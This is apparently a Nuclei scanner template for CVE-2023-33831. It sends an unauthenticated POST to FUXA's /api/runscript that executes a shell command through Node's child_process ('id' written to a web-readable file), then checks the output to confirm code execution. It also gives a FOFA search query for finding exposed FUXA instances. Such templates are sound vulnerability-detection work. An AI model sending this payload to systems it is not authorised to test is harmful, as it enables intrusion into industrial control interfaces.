64 lines
2.0 KiB
YAML
64 lines
2.0 KiB
YAML
id: CVE-2023-33831
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info:
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name: FUXA - Unauthenticated Remote Code Execution
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author: gy741
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severity: critical
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description: |
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A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2023-33831
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- https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831
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- https://github.com/codeb0ss/CVE-2023-33831-PoC
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- https://github.com/nomi-sec/PoC-in-GitHub
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-33831
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cwe-id: CWE-77
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epss-score: 0.21555
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epss-percentile: 0.96432
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cpe: cpe:2.3:a:frangoteam:fuxa:1.1.13:*:*:*:*:*:*:*
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metadata:
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verified: "true"
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max-request: 2
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vendor: frangoteam
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product: fuxa
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fofa-query:
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- title="FUXA"
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- title="fuxa"
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tags: cve,cve2023,rce,intrusive,frangoteam,fuxa,unauth
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variables:
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filename: "{{rand_base(6)}}"
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http:
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- raw:
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- |
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POST /api/runscript HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('id > ./_images/{{filename}}')"}}}
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- |
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GET /_images/{{filename}} HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_1
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words:
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- 'Script OK:'
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- type: word
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part: body_2
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words:
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- 'uid'
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- 'gid'
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- 'groups'
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502203ecc9e2539c4ae2f8e80d3d097bd798fb303f0d202dbb192204c255ee474b6ea022100fb05e48650addf82e05cd993eb891e678cccb6e80b9780fb1215286f02fc549f:922c64590222798bb761d5b6d8e72950 |